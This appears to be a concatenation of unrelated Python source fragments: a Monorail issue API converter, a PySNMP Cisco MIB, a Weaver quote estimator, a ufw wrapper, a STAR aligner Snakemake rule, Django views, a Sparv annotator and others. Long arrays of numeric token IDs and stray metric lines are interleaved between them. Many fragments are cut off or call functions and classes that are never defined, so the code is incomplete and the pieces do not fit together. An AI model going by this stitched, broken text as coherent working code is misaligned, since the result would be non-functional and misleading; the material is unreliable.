field_values_list.append(new_fv) resp = cls( kind='monorail#issue', id=issue.local_id, title=issue.summary, summary=issue.summary, projectId=issue_project.project_name, stars=issue.star_count, starred=services.issue_star.IsItemStarredBy( mar.cnxn, issue.issue_id, mar.auth.user_id), status=issue.status, state=(api_pb2_v1.IssueState.open if tracker_helpers.MeansOpenInProject( tracker_bizobj.GetStatus(issue), config) else api_pb2_v1.IssueState.closed), labels=issue.labels, components=component_list, author=convert_person(issue.reporter_id, mar.cnxn, services), owner=convert_person(issue.owner_id, mar.cnxn, services), cc=cc_list, updated=datetime.datetime.fromtimestamp(issue.modified_timestamp), published=datetime.datetime.fromtimestamp(issue.opened_timestamp), blockedOn=convert_issue_ids(issue.blocked_on_iids, mar, services), blocking=convert_issue_ids(issue.blocking_iids, mar, services), canComment=permissions.CanCommentIssue( mar.auth.effective_ids, mar.perms, issue_project, issue, granted_perms=granted_perms), canEdit=permissions.CanEditIssue( mar.auth.effective_ids, mar.perms, issue_project, issue, granted_perms=granted_perms), fieldValues=field_values_list) if issue.closed_timestamp > 0: resp.closed = datetime.datetime.fromtimestamp(issue.closed_timestamp) if issue.merged_into: resp.mergedInto=convert_issue_ids([issue.merged_into], mar, services)[0] if issue.owner_modified_timestamp: resp.owner_modified = datetime.datetime.fromtimestamp( issue.owner_modified_timestamp) if issue.status_modified_timestamp: resp.status_modified = datetime.datetime.fromtimestamp( issue.status_modified_timestamp) if issue.component_modified_timestamp: resp.component_modified = datetime.datetime.fromtimestamp( issue.component_modified_timestamp) return resp def convert_comment(issue, comment, mar, services, granted_perms): """Convert Monorail IssueComment PB to API IssueCommentWrapper.""" can_delete = permissions.CanDelete( mar.auth.user_id, mar.auth.effective_ids, mar.perms, comment.deleted_by, comment.user_id, mar.project, permissions.GetRestrictions(issue), granted_perms=granted_perms) return api_pb2_v1.IssueCommentWrapper( attachments=[convert_attachment(a) for a in comment.attachments], author=convert_person(comment.user_id, mar.cnxn, services, trap_exception=True), canDelete=can_delete, content=comment.content, deletedBy=convert_person(comment.deleted_by, mar.cnxn, services, trap_exception=True), id=comment.sequence, published=datetime.datetime.fromtimestamp(comment.timestamp), updates=convert_amendments(issue, comment.amendments, mar, services), kind='monorail#issueComment') def convert_attachment(attachment): """Convert Monorail Attachment PB to API Attachment.""" return api_pb2_v1.Attachment( attachmentId=attachment.attachment_id, fileName=attachment.filename, fileSize=attachment.filesize, mimetype=attachment.mimetype, isDeleted=attachment.deleted) def convert_amendments(issue, amendments, mar, services): """Convert a list of Monorail Amendment PBs to API Update.""" result = api_pb2_v1.Update(kind='monorail#issueCommentUpdate') for amendment in amendments: if amendment.field == tracker_pb2.FieldID.SUMMARY: result.summary = amendment.newvalue elif amendment.field == tracker_pb2.FieldID.STATUS: result.status = amendment.newvalue elif amendment.field == tracker_pb2.FieldID.OWNER: if len(amendment.added_user_ids) == 0: result.owner = framework_constants.NO_USER_NAME else: result.owner = _get_user_email( services.user, mar.cnxn, amendment.added_user_ids[0]) elif amendment.field == tracker_pb2.FieldID.LABELS: result.labels = amendment.newvalue.split() elif amendment.field == tracker_pb2.FieldID.CC: for user_id in amendment.added_user_ids: user_email = _get_user_email( services.user, mar.cnxn, user_id) result.cc.append(user_email) for user_id in amendment.removed_user_ids: user_email = _get_user_email( services.user, mar.cnxn, user_id) result.cc.append('-%s' % user_email) elif amendment.field == tracker_pb2.FieldID.BLOCKEDON: result.blockedOn = _append_project( amendment.newvalue, issue.project_name) elif amendment.field == tracker_pb2.FieldID.BLOCKING: result.blocking = _append_project( amendment.newvalue, issue.project_name) elif amendment.field == tracker_pb2.FieldID.MERGEDINTO: result.mergedInto = amendment.newvalue elif amendment.field == tracker_pb2.FieldID.COMPONENTS: result.components = amendment.newvalue.split() elif amendment.field == tracker_pb2.FieldID.CUSTOM: fv = api_pb2_v1.FieldValue() fv.fieldName = amendment.custom_field_name fv.fieldValue = amendment.newvalue result.fieldValues.append(fv) return result def _get_user_email(user_service, cnxn, user_id): """Get user email.""" try: user_email = user_service.LookupUserEmail( cnxn, user_id) if not user_email: user_email = framework_constants.DELETED_USER_NAME except user_svc.NoSuchUserException: user_email = framework_constants.DELETED_USER_NAME return user_email def _append_project(issue_ids, project_name): """Append project name to convert <id> to <project>:<id> format.""" result = [] id_list = issue_ids.split() for id_str in id_list: if ':' in id_str: result.append(id_str) # '-' means this issue is being removed elif id_str.startswith('-'): result.append('-%s:%s' % (project_name, id_str[1:])) else: result.append('%s:%s' % (project_name, id_str)) return result def split_remove_add(item_list): """Split one list of items into two: items to add and items to remove.""" list_to_add = [] list_to_remove = [] for item in item_list: if item.startswith('-'): list_to_remove.append(item[1:]) else: list_to_add.append(item) return list_to_add, list_to_remove # TODO(sheyang): batch the SQL queries to fetch projects/issues. def issue_global_ids(project_local_id_pairs, project_id, mar, services): """Find global issues ids given <project_name>:<issue_local_id> pairs.""" result = [] for pair in project_local_id_pairs: issue_project_id = None local_id = None if ':' in pair: pair_ary = pair.split(':') project_name = pair_ary[0] local_id = int(pair_ary[1]) project = services.project.GetProjectByName(mar.cnxn, project_name) if not project: raise project_svc.NoSuchProjectException( 'Project %s does not exist' % project_name) issue_project_id = project.project_id else: issue_project_id = project_id local_id = int(pair) result.append( services.issue.LookupIssueID(mar.cnxn, issue_project_id, local_id)) return result def convert_group_settings(group_name, setting): """Convert UserGroupSettings to UserGroupSettingsWrapper.""" return api_pb2_v1.UserGroupSettingsWrapper( groupName=group_name, who_can_view_members=setting.who_can_view_members, ext_group_type=setting.ext_group_type, last_sync_time=setting.last_sync_time) def convert_component_def(cd, mar, services): """Convert ComponentDef PB to Component PB.""" project_name = services.project.LookupProjectNames( mar.cnxn, [cd.project_id])[cd.project_id] user_ids = set() user_ids.update( cd.admin_ids + cd.cc_ids + [cd.creator_id] + [cd.modifier_id]) user_names_dict = services.user.LookupUserEmails(mar.cnxn, list(user_ids)) component = api_pb2_v1.Component( componentId=cd.component_id, projectName=project_name, componentPath=cd.path, description=cd.docstring, admin=sorted([user_names_dict[uid] for uid in cd.admin_ids]), cc=sorted([user_names_dict[uid] for uid in cd.cc_ids]), deprecated=cd.deprecated) if cd.created: component.created = datetime.datetime.fromtimestamp(cd.created) component.creator = user_names_dict[cd.creator_id] if cd.modified: component.modified = datetime.datetime.fromtimestamp(cd.modified) component.modifier = user_names_dict[cd.modifier_id] return component def convert_component_ids(config, component_names): """Convert a list of component names to ids.""" component_names_lower = [name.lower() for name in component_names] result = [] for cd in config.component_defs: cpath = cd.path if cpath.lower() in component_names_lower: result.append(cd.component_id) return result def convert_field_values(field_values, mar, services): """Convert user passed in field value list to FieldValue PB, or labels.""" fv_list_add = [] fv_list_remove = [] fv_list_clear = [] label_list_add = [] label_list_remove = [] field_name_dict = { fd.field_name: fd for fd in mar.config.field_defs} for fv in field_values: field_def = field_name_dict.get(fv.fieldName) if not field_def: logging.warning('Custom field %s of does not exist', fv.fieldName) continue if fv.operator == api_pb2_v1.FieldValueOperator.clear: fv_list_clear.append(field_def.field_id) continue # Enum fields are stored as labels if field_def.field_type == tracker_pb2.FieldTypes.ENUM_TYPE: raw_val = '%s-%s' % (fv.fieldName, fv.fieldValue) if fv.operator == api_pb2_v1.FieldValueOperator.remove: label_list_remove.append(raw_val) elif fv.operator == api_pb2_v1.FieldValueOperator.add: label_list_add.append(raw_val) else: logging.warning('Unsupported field value operater %s', fv.operator) else: new_fv = tracker_pb2.FieldValue( field_id=field_def.field_id) if field_def.field_type == tracker_pb2.FieldTypes.USER_TYPE: try: new_fv.user_id = services.user.LookupUserID(mar.cnxn, fv.fieldValue) except user_svc.NoSuchUserException: new_fv.user_id = 0 elif field_def.field_type == tracker_pb2.FieldTypes.STR_TYPE: new_fv.str_value = fv.fieldValue elif field_def.field_type == tracker_pb2.FieldTypes.INT_TYPE: new_fv.int_value = int(fv.fieldValue) else: logging.warning( 'Unsupported field value type %s', field_def.field_type) if fv.operator == api_pb2_v1.FieldValueOperator.remove: fv_list_remove.append(new_fv) elif fv.operator == api_pb2_v1.FieldValueOperator.add: fv_list_add.append(new_fv) else: logging.warning('Unsupported field value operater %s', fv.operator) return (fv_list_add, fv_list_remove, fv_list_clear, label_list_add, label_list_remove)
[ 2, 15069, 1584, 383, 18255, 1505, 46665, 13, 1439, 2489, 10395, 13, 198, 2, 5765, 286, 428, 2723, 2438, 318, 467, 21917, 416, 257, 347, 10305, 12, 7635, 198, 2, 5964, 326, 460, 307, 1043, 287, 262, 38559, 24290, 2393, 393, 379, 198,...
2.502048
6,836
""" This module contains the rule-based inference (rulebased_deduction engine) """ import itertools from collections import defaultdict from itertools import chain from excut.explanations_mining.descriptions import dump_explanations_to_file from excut.explanations_mining.descriptions_new import Description2, Atom, load_from_file from excut.explanations_mining.explaining_engines_extended import PathBasedClustersExplainerExtended from excut.explanations_mining.simple_miner.description_miner_extended import DescriptionMinerExtended, ExplanationStructure from excut.kg.kg_query_interface_extended import EndPointKGQueryInterfaceExtended, KGQueryInterfaceExtended from excut.kg.kg_indexing import Indexer from excut.kg.utils.data_formating import n3_repr from excut.utils.logging import logger from excut.kg.utils.Constants import DEFUALT_AUX_RELATION from excut.clustering import target_entities as tes def dump_predictions_map(per_var_predictions, out_filepath, triple_format=True, topk=-1, with_weight=True, with_description=False, quality='x_coverage'): """ Writes the predictions to two files, the first is human readable and the other with .parsable extension that can be parsed in python. :param per_var_predictions: :param out_filepath: :param triple_format: :param topk: :param with_weight: :param with_description: :return: """ out_file_parsable = out_filepath + '.parsable' out_filepath_with_type = out_filepath + ('.%s' % quality if len(quality) > 0 else '') with open(out_filepath_with_type, 'w') as out_file: for var, predictions in per_var_predictions.items(): if topk > 0: predictions = predictions[:topk] for p in predictions: if triple_format: # I only output normalized_coverage out_str = n3_repr(p.triple) + ('\t%f' % p.get_quality(quality) if with_weight else '') + ( '\t%s' % p.source_description if with_description else '') else: out_str = str(p) out_file.write(out_str) out_file.write('\n') with open(out_file_parsable + ('.%s' % quality if len(quality) > 0 else ''), 'w') as out_file: out_file.write('\n'.join( map(str, chain.from_iterable(map(lambda l: l[:topk] if topk > 0 else l, per_var_predictions.values()))))) return out_filepath_with_type if __name__ == '__main__': target_entities=tes.load_from_file('/scratch/GW/pool0/gadelrab/ExDEC/data/yago/yago_art_3_4k.tsv') vos_executer = EndPointKGQueryInterfaceExtended('http://halimede:8890/sparql', ['http://yago-expr.org', 'http://yago-expr.org.types'], labels_identifier='http://yago-expr.org.labels') explainer=PathBasedClustersExplainerExtended(vos_executer, language_bias={'max_length': 4, 'structure': ExplanationStructure.TREE}) explans=explainer.explain(target_entities, output_file='/scratch/GW/pool0/gadelrab/ExDEC/tmp/explanations_tree.txt') ded = SparqlBasedDeductionEngineExtended(vos_executer) per_var_predictions = ded.infer(explans, target_entities, output_filepath='/scratch/GW/pool0/gadelrab/ExDEC/tmp/predictions_tree.tsv') logger.info("Total variables with predictions subjects: %i", len(per_var_predictions))
[ 37811, 198, 1212, 8265, 4909, 262, 3896, 12, 3106, 32278, 357, 25135, 3106, 62, 9395, 8110, 3113, 8, 198, 37811, 198, 11748, 340, 861, 10141, 198, 6738, 17268, 1330, 4277, 11600, 198, 6738, 340, 861, 10141, 1330, 6333, 198, 198, 6738, ...
2.350866
1,502
import torch.utils.data as data from PIL import Image import os import os.path import numpy as np import pdb import glob IMG_EXTENSIONS = [ '.jpg', '.JPG', '.jpeg', '.JPEG', '.png', '.PNG', '.ppm', '.PPM', '.bmp', '.BMP', ]
[ 11748, 28034, 13, 26791, 13, 7890, 355, 1366, 198, 198, 6738, 350, 4146, 1330, 7412, 198, 11748, 28686, 198, 11748, 28686, 13, 6978, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 279, 9945, 198, 11748, 15095, 198, 198, 3955, 38, 62, ...
2.473684
95
from floodcomparison.core import floodcomparison
[ 6738, 6947, 785, 1845, 1653, 13, 7295, 1330, 6947, 785, 1845, 1653, 198 ]
3.769231
13
import logging import random from datetime import timedelta from typing import TYPE_CHECKING from duration import to_iso8601 from pyramid.httpexceptions import HTTPBadRequest, HTTPCreated, HTTPNotFound, HTTPOk from weaver import sort from weaver.config import WEAVER_CONFIGURATION_ADES, WEAVER_CONFIGURATION_EMS, get_weaver_configuration from weaver.database import get_db from weaver.datatype import Bill, Quote from weaver.exceptions import ProcessNotFound, QuoteNotFound, log_unhandled_exceptions from weaver.formats import OUTPUT_FORMAT_JSON from weaver.processes.types import PROCESS_APPLICATION, PROCESS_WORKFLOW from weaver.processes.wps_package import get_package_workflow_steps, get_process_location from weaver.store.base import StoreBills, StoreQuotes from weaver.utils import get_settings, get_weaver_url from weaver.wps_restapi import swagger_definitions as sd from weaver.wps_restapi.processes.processes import submit_local_job if TYPE_CHECKING: from weaver.datatype import Process from weaver.typedefs import JSON LOGGER = logging.getLogger(__name__) def process_quote_estimator(process): # noqa: E811 # type: (Process) -> JSON """ Simulate quote parameters for the process execution. :param process: instance of :class:`weaver.datatype.Process` for which to evaluate the quote. :return: dict of {price, currency, estimatedTime} values for the process quote. """ # TODO: replace by some fancy ml technique or something? price = random.uniform(0, 10) # nosec currency = "CAD" estimated_time = to_iso8601(timedelta(minutes=random.uniform(5, 60))) # nosec return {"price": price, "currency": currency, "estimatedTime": estimated_time}
[ 11748, 18931, 198, 11748, 4738, 198, 6738, 4818, 8079, 1330, 28805, 12514, 198, 6738, 19720, 1330, 41876, 62, 50084, 2751, 198, 198, 6738, 9478, 1330, 284, 62, 26786, 4521, 486, 198, 6738, 27944, 13, 2804, 24900, 11755, 1330, 14626, 22069...
3.139194
546
# # PySNMP MIB module CISCO-VSI-CONTROLLER-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-VSI-CONTROLLER-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 18:03:33 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection, ValueRangeConstraint, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection", "ValueRangeConstraint", "SingleValueConstraint") ciscoMgmt, = mibBuilder.importSymbols("CISCO-SMI", "ciscoMgmt") ModuleCompliance, NotificationGroup, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup", "ObjectGroup") ObjectIdentity, NotificationType, Gauge32, Bits, Unsigned32, IpAddress, MibIdentifier, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Counter32, Counter64, iso, Integer32, TimeTicks = mibBuilder.importSymbols("SNMPv2-SMI", "ObjectIdentity", "NotificationType", "Gauge32", "Bits", "Unsigned32", "IpAddress", "MibIdentifier", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Counter32", "Counter64", "iso", "Integer32", "TimeTicks") TextualConvention, RowStatus, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "RowStatus", "DisplayString") ciscoVSIControllerMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 9, 9, 141)) if mibBuilder.loadTexts: ciscoVSIControllerMIB.setLastUpdated('9906080000Z') if mibBuilder.loadTexts: ciscoVSIControllerMIB.setOrganization('Cisco Systems, Inc.') cvcMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 141, 1)) cvcConfController = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1)) cvcConfTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1), ) if mibBuilder.loadTexts: cvcConfTable.setStatus('current') cvcConfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1), ).setIndexNames((0, "CISCO-VSI-CONTROLLER-MIB", "cvcConfControllerID")) if mibBuilder.loadTexts: cvcConfEntry.setStatus('current') cvcConfControllerID = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))) if mibBuilder.loadTexts: cvcConfControllerID.setStatus('current') cvcConfControllerType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 2), CvcControllerType()).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfControllerType.setStatus('current') cvcConfControllerShelfLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 3), CvcControllerShelfLocation()).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfControllerShelfLocation.setStatus('current') cvcConfControllerLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647))).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfControllerLocation.setStatus('current') cvcConfControllerName = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 5), DisplayString()).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfControllerName.setStatus('current') cvcConfVpi = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 4095))).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfVpi.setStatus('current') cvcConfVci = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(32, 65535))).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfVci.setStatus('current') cvcConfRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 141, 1, 1, 1, 1, 8), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: cvcConfRowStatus.setStatus('current') cvcMIBConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 141, 3)) cvcMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 141, 3, 1)) cvcMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 141, 3, 2)) cvcMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 141, 3, 1, 1)).setObjects(("CISCO-VSI-CONTROLLER-MIB", "cvcConfGroup"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfGroupExternal")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): cvcMIBCompliance = cvcMIBCompliance.setStatus('current') cvcConfGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 141, 3, 2, 1)).setObjects(("CISCO-VSI-CONTROLLER-MIB", "cvcConfControllerType"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfControllerShelfLocation"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfControllerLocation"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfControllerName"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfRowStatus")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): cvcConfGroup = cvcConfGroup.setStatus('current') cvcConfGroupExternal = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 141, 3, 2, 2)).setObjects(("CISCO-VSI-CONTROLLER-MIB", "cvcConfVpi"), ("CISCO-VSI-CONTROLLER-MIB", "cvcConfVci")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): cvcConfGroupExternal = cvcConfGroupExternal.setStatus('current') mibBuilder.exportSymbols("CISCO-VSI-CONTROLLER-MIB", cvcConfTable=cvcConfTable, cvcMIBGroups=cvcMIBGroups, cvcConfControllerType=cvcConfControllerType, cvcConfVpi=cvcConfVpi, CvcControllerShelfLocation=CvcControllerShelfLocation, cvcConfControllerLocation=cvcConfControllerLocation, cvcConfController=cvcConfController, cvcConfControllerName=cvcConfControllerName, PYSNMP_MODULE_ID=ciscoVSIControllerMIB, cvcConfControllerID=cvcConfControllerID, cvcConfGroupExternal=cvcConfGroupExternal, cvcMIBCompliance=cvcMIBCompliance, cvcConfEntry=cvcConfEntry, ciscoVSIControllerMIB=ciscoVSIControllerMIB, cvcConfControllerShelfLocation=cvcConfControllerShelfLocation, cvcConfRowStatus=cvcConfRowStatus, cvcConfGroup=cvcConfGroup, CvcControllerType=CvcControllerType, cvcConfVci=cvcConfVci, cvcMIBObjects=cvcMIBObjects, cvcMIBCompliances=cvcMIBCompliances, cvcMIBConformance=cvcMIBConformance)
[ 2, 198, 2, 9485, 15571, 7378, 337, 9865, 8265, 36159, 8220, 12, 53, 11584, 12, 10943, 5446, 46, 3069, 1137, 12, 8895, 33, 357, 4023, 1378, 16184, 76, 489, 8937, 13, 785, 14, 79, 893, 11632, 8, 198, 2, 7054, 45, 13, 16, 2723, 239...
2.564039
2,436
import base64 import os import arrow import httpx import streamlit as st import sweat from bokeh.models.widgets import Div APP_URL = os.environ["APP_URL"] STRAVA_CLIENT_ID = os.environ["STRAVA_CLIENT_ID"] STRAVA_CLIENT_SECRET = os.environ["STRAVA_CLIENT_SECRET"] STRAVA_AUTHORIZATION_URL = "https://www.strava.com/oauth/authorize" STRAVA_API_BASE_URL = "https://www.strava.com/api/v3" DEFAULT_ACTIVITY_LABEL = "NO_ACTIVITY_SELECTED" STRAVA_ORANGE = "#fc4c02"
[ 11748, 2779, 2414, 198, 11748, 28686, 198, 198, 11748, 15452, 198, 11748, 2638, 87, 198, 11748, 4269, 18250, 355, 336, 198, 11748, 15488, 198, 6738, 1489, 365, 71, 13, 27530, 13, 28029, 11407, 1330, 4777, 628, 198, 24805, 62, 21886, 796...
2.368159
201
#!/usr/bin/env python #shamelessy stolen from: https://gitlab.com/dhj/easyufw # A thin wrapper over the thin wrapper that is ufw # Usage: # import easyufw as ufw # ufw.disable() # disable firewall # ufw.enable() # enable firewall # ufw.allow() # default allow -- allow all # ufw.allow(22) # allow port 22, any protocol # ufw.allow(22,'tcp') # allow port 22, tcp protocol # ufw.allow('22/tcp') # allow port 22, tcp protocol # ufw.allow(53,'udp') # allow port 53, udp protocol # ufw.allow(53,'udp') # allow port 53, udp protocol # ufw.deny() # default deny -- deny all # ufw.deny(22,'tcp') # deny port 22, tcp protocol # ufw.delete(22) # delete rules referencing port 22 # ufw.reset() # restore defaults # ufw.status() # return status string (default verbose=True) # ufw.run("allow 22") # directly run command as if from command line import ufw.frontend import ufw.common import gettext progName = ufw.common.programName gettext.install(progName)#, unicode=True) # for i18n; fixes '_' not defined ui = ufw.frontend.UFWFrontend(False) # no dryrun -- do it live backend = ui.backend parse_command = ufw.frontend.parse_command
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 2, 1477, 39942, 88, 9909, 422, 25, 3740, 1378, 18300, 23912, 13, 785, 14, 34985, 73, 14, 38171, 3046, 86, 198, 198, 2, 317, 7888, 29908, 625, 262, 7888, 29908, 326, 318, 334, ...
2.512295
488
import libsalt # for vehicle in runnings: # print("Running Vehicle)", vehicle.id, ":", libsalt.vehicle.getRoute(vehicle.id).toString()) # print("Running Vehicle)", vehicle.id, ":", vehicle.toString()) #print("#Standby Vehicles: ", len(standbys)) #for vehicle in standbys: # print("Standby Vehicle)", vehicle.id, ":", libsalt.vehicle.getRouteString(vehicle.id)) #print("Standby Vehicle)", vehicle.id, ":", vehicle.toString()) if __name__ == "__main__": salt_scenario = r"/home/mclee/project/traffic-simulator/data/dj_sample_data/2020-dj_sample.json" test(salt_scenario)
[ 11748, 9195, 82, 2501, 220, 198, 198, 2, 220, 220, 220, 329, 4038, 287, 1057, 23400, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3601, 7203, 28768, 21501, 42501, 4038, 13, 312, 11, 366, 25, 1600, 9195, 82, 2501, 13, 33892, 1...
2.567901
243
#MenuTitle: Copy Layer to Layer # -*- coding: utf-8 -*- __doc__=""" Copies one master to another master in selected glyphs. """ import GlyphsApp import vanilla import math MasterFiller()
[ 2, 23381, 19160, 25, 17393, 34398, 284, 34398, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 834, 15390, 834, 2625, 15931, 198, 13379, 444, 530, 4958, 284, 1194, 4958, 287, 6163, 25874, 82, 13, 198, 37811, 198,...
2.909091
66
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. # # Copyright (c) 2014-2018, Lars Asplund lars.anders.asplund@gmail.com """ Test of the general tokenizer """ from unittest import TestCase from vunit.parsing.tokenizer import describe_location from vunit.test.mock_2or3 import mock def _describe_location(*codes): """ Helper to test describe_location """ contents = {} location = None for idx, code in enumerate(codes): filename = "filename%i" % idx contents[filename] = code start = code.index("S") if "E" in code: end = code.index("E") else: end = start location = ((filename, (start, end)), location) with mock.patch("vunit.parsing.tokenizer.read_file", autospec=True) as mock_read_file: with mock.patch("vunit.parsing.tokenizer.file_exists", autospec=True) as mock_file_exists: mock_file_exists.side_effect = file_exists_side_effect mock_read_file.side_effect = read_file_side_effect retval = describe_location(location=location) return retval
[ 2, 770, 8090, 6127, 5178, 318, 2426, 284, 262, 2846, 286, 262, 29258, 5094, 198, 2, 13789, 11, 410, 13, 362, 13, 15, 13, 1002, 257, 4866, 286, 262, 4904, 43, 373, 407, 9387, 351, 428, 2393, 11, 198, 2, 921, 460, 7330, 530, 379, ...
2.508946
503
# STAR aligner single end mode, second pass # # This module runs the second pass of the STAR aligner 2 path # strategy. The goal is to align reads taking in account splice # junction found in the fist pass.. # # Inputs: # - sample_trim.fastq.gz # - splicing junction files (.tab) # # Output: # - aligned reads # - logs for follow up and debuging if needed # # Parameters: # No fancy parameters needed, only the threads number is specified. rule star_se_SP: input: # fake input flag = ancient(config["REF"] + "REindexing_done.txt"), R1 = config["TRIMMED"] + "{samples}_trim.fastq.gz", genomeDir = ancient(config["REF"]) output: bam = config["MAP"] + "{samples}_sorted.bam.gz" params: prefix = config["MAP"] + "{samples}.", tmp = config["MAP"] + "SP/" + "{samples}_sp_STAR_TMP", bind = config["BIND"], cont = config["CONT"] benchmark: "benchmarks/star_SP/{samples}.tsv" message : "Running STAR second pass with {input.R1}. \n" shell: """ singularity exec -B {params.bind} {params.cont} \ STAR \ --runThreadN 10 \ --genomeDir {input.genomeDir} \ --readFilesIn {input.R1} \ --outSAMtype BAM SortedByCoordinate \ --outFileNamePrefix {params.prefix} \ --outStd BAM_SortedByCoordinate \ --outTmpDir {params.tmp} \ --scoreGap 0 \ --scoreGapNoncan -8 \ --scoreGapGCAG -4 \ --scoreGapATAC -8 \ --scoreGenomicLengthLog2scale -0.25 \ --scoreDelOpen -2 \ --scoreDelBase -2 \ --scoreInsOpen -2 \ --scoreInsBase -2 \ --scoreStitchSJshift 1 \ --readFilesCommand zcat | gzip --stdout > {output.bam} """
[ 2, 25424, 10548, 263, 2060, 886, 4235, 11, 1218, 1208, 198, 2, 198, 2, 220, 220, 770, 8265, 4539, 262, 1218, 1208, 286, 262, 25424, 10548, 263, 362, 3108, 198, 2, 220, 220, 4811, 13, 383, 3061, 318, 284, 10548, 9743, 2263, 287, 18...
2.018519
972
from django.db import models
[ 6738, 42625, 14208, 13, 9945, 1330, 4981, 628 ]
3.75
8
from django.shortcuts import render,redirect from django.contrib.auth.models import User from django.contrib import messages from .forms import PictureUploadForm,CommentForm from .models import Image,Profile,Likes,Comments from django.contrib.auth.decorators import login_required from django.contrib .auth import authenticate,login,logout from django.contrib.auth.forms import UserCreationForm from datetime import datetime def search(request): title = "Search" if 'search_query' in request.GET and request.GET["search_query"]: search_term = request.GET.get("search_query").lower() searched_results = Image.search_image(search_term) message = f"{search_term}" context = {'message': message, 'results': searched_results, 'title': title} return render(request, 'memeapp/search.html', context) else: messages.error(request, "You haven't searched for any term") message = "You haven't searched for any term" return render(request, 'memeapp/search.html', {"message": message})
[ 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 11, 445, 1060, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 11787, 198, 6738, 42625, 14208, 13, 3642, 822, 1330, 6218, 198, 6738, 764, 23914, 1330, 17741, 41592, 8...
3.037356
348
"""Create diapivot annotation.""" import logging import pickle import xml.etree.ElementTree as etree import sparv.util as util from sparv import Annotation, Model, ModelOutput, Output, annotator, modelbuilder log = logging.getLogger(__name__) PART_DELIM1 = "^1" # @annotator("Diapivot annotation", language=["swe-1800"]) def diapivot_annotate(out: Output = Output("<token>:hist.diapivot", description="SALDO IDs corresponding to lemgrams"), lemgram: Annotation = Annotation("<token>:saldo.lemgram"), model: Model = Model("hist/diapivot.pickle")): """Annotate each lemgram with its corresponding saldo_id according to model. Args: out (str, optional): Resulting annotation file. Defaults to Output("<token>:hist.diapivot", description="SALDO IDs corresponding to lemgrams"). lemgram (str, optional): Existing lemgram annotation. Defaults to Annotation("<token>:saldo.lemgram"). model (str, optional): Crosslink model. Defaults to Model("hist/diapivot.pickle"). """ lexicon = PivotLexicon(model) lemgram_annotation = list(lemgram.read()) out_annotation = [] for lemgrams in lemgram_annotation: saldo_ids = [] for lemgram in lemgrams.split(util.DELIM): s_i = lexicon.get_exactMatch(lemgram) if s_i: saldo_ids += [s_i] out_annotation.append(util.AFFIX + util.DELIM.join(set(saldo_ids)) + util.AFFIX if saldo_ids else util.AFFIX) 